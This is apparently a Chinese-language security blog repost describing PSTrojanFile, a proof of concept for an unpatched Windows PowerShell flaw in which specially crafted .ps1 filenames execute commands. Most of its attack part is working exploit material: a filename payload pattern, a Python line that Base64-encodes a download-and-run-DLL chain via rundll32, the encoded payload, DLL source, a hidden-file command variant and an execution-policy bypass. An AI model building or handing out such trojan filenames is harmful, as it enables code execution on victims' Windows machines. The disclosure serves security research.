未修复的 Windows PowerShell 文件名代码执行 POC

作者:Sec-Labs | 发布时间:

项目地址

https://github.com/hyp3rlinx/PSTrojanFile

PSTrojanFile

相关技术点

  • PowerShell:一种基于任务管理器的命令行外壳和脚本语言,可用于自动化配置管理、任务自动化和创建管理工具
  • Base64:一种用于将二进制数据编码为ASCII字符的编码方法
  • DLL:动态链接库,是一些可以被不同程序同时使用的代码和数据的集合
  • rundll32:Windows系统中的一个可执行文件,用于运行DLL文件中导出的函数
  • Python:一种解释性、面向对象、动态数据类型的高级编程语言

项目用途

PSTrojanFile是一种通过特殊命名的文件名实现远程代码执行的漏洞利用技术。该项目提供了一种使用 PowerShell 脚本语言和 Base64 编码构造特殊文件名的方法,使用户可通过双击、拖放等方式执行恶意代码,实现攻击者控制受害者计算机的目的。该技术可用于攻击Windows系统中的 PowerShell 脚本,执行远程DLL文件或本地文本文件中的恶意代码,并可通过 Python 脚本实现自动化构造与执行。该技术依赖于 PowerShell 的许多特定功能,包括saps、gc、Start-Process等命令,以及Windows系统中的 DLL 执行器rundll32。该漏洞已被发现并报告给 Microsoft,但目前尚未得到解决。

PSTrojanFile

Windows PowerShell 文件名代码执行 POC
发现者:John Page(又名hyp3rlinx)2019年并重新审视2023年

由于它仍然有效,我打扫了一下并进行了小改进:
1)使用rundll32执行远程DLL 2)执行意外的次要PS1脚本或本地文本文件(可以隐藏) 3)更新了PS1特洛伊木马文件名创建器Python3脚本

自2019年首次向Microsoft报告以来,到撰写本文时,该漏洞仍未修复。
通过特殊制作的文件名进行远程代码执行。

该漏洞是由于分号“;”,我们可以解码Base64命令并直接从PS1文件名中执行或执行命令。

测试;POweRsHeLL -e [BASE64 UTF-16LE PAYLOAD];.ps1

立即调用命令

“Testing; saps(gc-)PoC;.ps1”

向量:双击,拖放到PS快捷方式

利用替代简写的PS命令,如“saps”,“gc”启动进程并获取内容等。

DLL执行示例:

创建一个特洛伊木马PS1文件,该文件将尝试下载并执行名为“1.d”的远程DLL

Python:
from base64 import b64encode

b64encode("saps http[]//127.0.0.1/1.d;sleep -s 2;rundll32 $HOME\Downloads\1.d, 0".encode('UTF-16LE'))

cwBhAHAAcwAgACAAaAB0AHQAcAA6AC8ALwAxADIANwAuADAALgAwAC4AMQAvADEALgBkADsAcwBsAGUAZQBwACAALQBzACAAMgA7AHIAdQBuAGQAbABsADMAMgAgACQASABPAE0ARQBcAEQAbwB3AG4AbABvAGEAZABzAFwAMQAuAGQALAAgADAA

DLL代码:
#include <windows.h>

//gcc -shared -o mydll.dll mydll.c -m32

//hyp3rlinx

void evilo(void){

MessageBox(0,"Filename Remote Code Execution PoC\r\nBy hyp3rlinx","M$ Windows PowerShell",1);

}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){

evilo();

return 0;

}

python -m http.server 80

双击特洛伊木马PS1文件。

文本文件代码执行示例:

创建一个名称包含saps“启动进程”和gc“获取内容”的PS1文件,这将从隐藏文件中读取命令。

“Test;saps(gc-)PoC;.ps1”

创建隐藏:attrib +s +h“-”

双击或拖放。

要求:

a) PowerShell PS1文件必须设置为默认使用PowerShell打开的程序

b) Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force

c)用户必须双击,从命令行运行或拖放恶意命名的PS1脚本

https://www.youtube.com/watch?v=-ZJnA70Cf4I

 

ad1a1b7183090806

 

 

标签:工具分享, 思路分享, 学习笔记, POC脚本, 主机安全